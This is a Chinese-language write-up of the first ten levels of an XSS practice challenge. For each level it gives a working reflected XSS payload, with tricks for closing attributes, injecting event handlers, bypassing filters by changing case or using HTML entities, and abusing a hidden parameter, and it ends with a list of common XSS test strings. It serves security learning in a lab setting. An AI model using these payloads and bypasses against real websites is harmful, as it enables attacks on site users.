xss tv wp

屏幕快照 2019-03-01 上午9.37.43.png

xss题目 一共20题 难度也在递增吧 写一部分自己的解题过程

后面题目厉害了 慢慢更新(太菜不会做)

题目 payload不唯一呦

level1

没有任何过滤

Payload

1
<script>alert("xss")</script>

level2

记得以前xss这里曾请教过国光哥一些姿势

先输入

1
<img src=1 onerror=alert("xss")>

查看源码发现 value的值里使用了双引号 所以想到闭合前面的双引号。

屏幕快照 2019-03-01 上午9.47.12.png

Payload

1
"><img src=1 onerror=alert("xss")>

涉及基础

img为图片标签 src应该填写图片地址 如果图片地址不存在 就会触发onerror事件弹出xss

level3

试探性输入

1
<img src=1 onerror=alert("xss")>

查看源代码发现两端括号被实体化了 换个姿势

1
onclick=alert(1)

右键源代码 发现本身并没有被过滤 但是value里面使用了单引号 闭合就好

Payload

1
‘>onclick='alert(1)

level4

与level3类似

这题目value里面使用了双引号 闭合双引号就ok

Payload

1
"onclick="alert(1)"

level5

参考前面 直接输入payload

1
onclick=alert(1)

发现被过滤 大小写无法绕过 换个姿势

1
<a href=javascript:alert("xss")>

这时候查看源代码发现本身并没有过滤 都是一个套路闭合一下双引号即可

Payload

1
"><a href=javascript:alert("xss")>

level6

这题目前有点坑 与上题相似 单过滤了href src等属性

这里考虑到可以用大小写绕过

Payload

1
"><img SRC=1 ONERROR=alert(1)>

level7

随便写个payload

1
onclick=alert(1)

查看源代码发现 value有双引号 首先考虑到闭合

其次on被过滤为空 估计不会进行二次过滤

Payload

1
"onclick="alert(1)

level8

添加超链接到页面 本身在a标签里面所以我们payload如下

1
Javascript:alert(1)

发现并没弹窗 查看源代码发现javascript被过滤 试了很多都被过滤

想到html有字解码机制 试一下将过滤关键字实体化

字符实体转换

Payload

1
java&#115;cript:alert(1)

level9

这里始终不知道是怎么回事 看了xz的wp 得知这题自动检测url 如果发现没有带 http:// 则会显示不合法

还发现了过滤了双引号 还是利用html自解码机制将关键字实例化即可绕过

Payload

1
java&#115;cript:alert(&#34;http://&#34;)

level10

这题刚打开是懵逼的

然后又请教了国光哥7AFA3AE488BF6843C3F551094D258D15.gif

右键查看源文件 发现了三个隐藏参数 经过一个个试。

发现t_sort参数是控的 由于type="hidden"是隐藏的

on事件无效

所以应破坏掉type的hidden 之后利用 onclick 弹窗

Payload

1
keyword=1&t_sort=233%22%20onclick=alert(233)%20type=%22%22

XSS常用语句及编码绕过

常用的测试语句

1
2
3
4
<script>alert(1)</script>
<img src = 1 onerror = alert(1)>
<svg onload = alert(1)>
<a href = javascript:alert(1)>

常见的xss绕过编码

js编码

html实体编码

url编码